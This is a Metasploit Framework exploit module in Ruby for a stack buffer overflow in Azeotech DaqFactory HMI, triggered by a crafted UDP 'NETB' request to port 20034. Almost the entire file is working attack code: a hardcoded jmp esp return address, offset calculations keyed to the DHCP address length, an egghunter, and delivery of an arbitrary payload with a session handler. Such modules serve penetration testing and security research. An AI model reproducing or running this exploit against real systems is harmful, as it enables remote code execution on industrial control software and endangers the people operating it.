##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DaqFactory HMI NETB Request Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Azeotech's DaqFactory
				product. The specfic vulnerability is triggered when sending a specially crafted
				'NETB' request to port 20034. Exploitation of this vulnerability may take a few
				seconds due to the use of egghunter.  This vulnerability was one of the 14
				releases discovered by researcher Luigi Auriemma.
			},
			'Author'         =>
				[
					'Luigi Auriemma',  # Initial discovery, crash poc
					'mr_me <steventhomasseeley[at]gmail.com>',  # msf exploit
				],

			'Version'        => '$Revision$',
			'References'     =>
				[
					['URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',
						{
							'Ret' => 0x100B9EDF,  # jmp esp PEGRP32A.dll
							'Offset' => 636,
						}
					],
				],
			'DisclosureDate' => 'Sep 13 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				# Required for EIP offset
				OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),
				Opt::RPORT(20034)
			], self.class)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		eggoptions ={
			:checksum => false,
			:eggtag => 'scar',
		}

		# Correct the offset according to the 2nd IP (DHCP) length
		iplen = datastore['DHCP'].length

		if iplen == 15
			offset = 78
		elsif iplen == 14
			offset = 79
		elsif iplen == 13
			offset = 80
		elsif iplen == 12
			offset = 81
		elsif iplen == 11
			offset = 82
		elsif iplen == 10
			offset = 83
		elsif iplen == 9
			offset = 84
		elsif iplen == 8
			offset = 85
		elsif iplen == 7
			offset = 86
		elsif iplen == 6
			offset = 87
		# attack class A ip, slightly unlikly, but just in case.
		elsif iplen == 5
			offset = 88	
		end	

		if offset >= 80
			pktoffset = offset - 80
			finaloffset = target['Offset']-pktoffset
		elsif offset <= 79
			pktoffset = 80 - offset
			finaloffset = target['Offset']+pktoffset
		end

		# springboard onto our unmodified payload
		p = Rex::Arch::X86.jmp(750) + payload.encoded
		hunter,egg = generate_egghunter(p, payload_badchars, eggoptions)

		sploit  = "NETB"  # NETB request overflow
		sploit << rand_text_alpha_upper(233)
		sploit << "\x00"  # part of the packet structure
		sploit << rand_text_alpha_upper(offset)  # include the offset for the DHCP address
		sploit << make_nops(2)
		sploit << hunter
		sploit << rand_text_alpha_upper(52-hunter.length-2)
		sploit << [target.ret].pack("V")
		sploit << rand_text_alpha_upper(12)
		sploit << Rex::Arch::X86.jmp_short(-70)
		sploit << egg
		# packetlen needs to be adjusted to a max of 0x400 as per advisory
		sploit << rand_text_alpha_upper(finaloffset-egg.length)

		# The use of rand_text_alpha_upper() ensures we always get the same length for the
		# first IP address. See the following for more details:
		# http://dev.metasploit.com/redmine/issues/5453
		sploit[12,4] = rand_text_alpha_upper(4)

		udp_sock.put(sploit)

		handler
		disconnect_udp
	end

end